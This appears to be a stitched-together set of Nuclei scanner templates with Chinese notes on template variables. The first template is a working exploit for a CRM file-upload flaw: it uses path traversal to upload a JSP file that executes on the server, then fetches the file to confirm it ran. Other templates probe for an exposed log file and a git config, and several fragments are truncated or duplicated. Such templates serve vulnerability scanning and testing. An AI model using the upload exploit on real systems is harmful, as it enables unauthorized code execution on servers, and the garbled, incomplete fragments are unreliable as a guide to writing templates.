id: fileupload-CrmBasicActioninfo:  name: ZD-crmbasicaction-upload  author: CB-Hack  severity: criticalvariables:  filename: "{{to_lower(rand_base(10))}}"  boundary: "{{to_lower(rand_base(20))}}"http:  - raw:      - |        POST  /xxxx/xxxxn.entcrm?method=zipFileUpload&c_transModel=old HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2657.7 Safari/537.36        Connection: close        Content-Type: multipart/form-data; boundary={{boundary}}        Accept-Encoding: gzip, deflate, br        --{{boundary}}        Content-Disposition: form-data; name="file"; filename="../../{{filename}}.jsp"        Content-Type: application/zip        <% out.println(1*123456);new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>        --{{boundary}}--      - |+        GET /xxxx/dao{{filepath}}{{filename}}.jsp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2657.7 Safari/537.36        Content-Length: 0        Accept-Encoding: gzip, deflate        Connection: close    extractors:      - type: regex        name: filepath        part: body        internal: true        group: 1        regex:          - '(/d+/)'    matchers-condition: and    matchers:      - type: dsl        dsl:          - status_code==200 && contains(body_2,'123456')

id:Information-disclosure-vulnerabilityinfo:  name: xxxx-infoleak  author: CB-Hack  severity: highrequests:  - raw:      - |+        GET /xxxxx/info.log HTTP/1.1        Host: {{Hostname}}        Upgrade-Insecure-Requests: 1        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7        Accept-Encoding: gzip, deflate, br        Accept-Language: zh-CN,zh;q=0.9        Connection: close    matchers-condition: and    matchers:      - type: word        part: header        words:          - 'Content-Type: text/plain'      - type: word        part: header        words:          - HTTP/1.1 200 OK      - type: status        status:          - 200

id: git-config

info:  name: Git Config File Detection Template  author: Ice3man  severity: medium  description: Searches for the pattern /.git/config on passed URLs.  reference: https://www.acunetix.com/vulnerabilities/web/git-repository-found/  tags: git,config

requests:  - raw:      - |

GET /zentao/api-getModel-editor-save-filePath=bote HTTP/1.

requests:  - raw:      - |        GET /zentao/api-getModel-editor-save-filePath=bote HTTP/1.1        redirects: true         max-redirects: 3

{{BaseURL}} - 这将在请求的运行时替换为目标文件中指定的输入 URL。{{RootURL}} - 这将在运行时将请求中的根 URL 替换为目标文件中指定的根 URL。{{Hostname}} - 主机名变量被替换为主机名，包括运行时目标的端口。{{Host}} - 这将在运行时替换目标文件中指定的输入主机的请求。{{Port}} - 这将在请求中的运行时替换为目标文件中指定的输入端口。{{Path}} - 这将在请求中的运行时替换为目标文件中指定的输入路径。{{File}} - 这将在请求中的运行时替换为目标文件中指定的输入文件名。{{Scheme}} - 这将在运行时按目标文件中指定的协议替换模板中的请求。

Variable  Value{{BaseURL}}  https://example.com:443/foo/bar.php{{RootURL}}  https://example.com:443{{Hostname}}  example.com:443{{Host}}  example.com{{Port}}  443{{Path}}  /foo{{File}}  bar.php{{Scheme}}  https

# headers contain the headers for the requestheaders:  # Custom user-agent header  User-Agent: Some-Random-User-Agent  # Custom request origin  Origin: https://google.com

# Body is a string sent along with the requestbody: "{"some random JSON"}"# Body is a string sent along with the requestbody: "admin=test"

# cookie-reuse accepts boolean input and false as defaultcookie-reuse: true

    req-condition: true    matchers:      - type: dsl        dsl:          - "status_code_1 == 404 && status_code_2 == 200 && contains((body_2), 'secret_string')"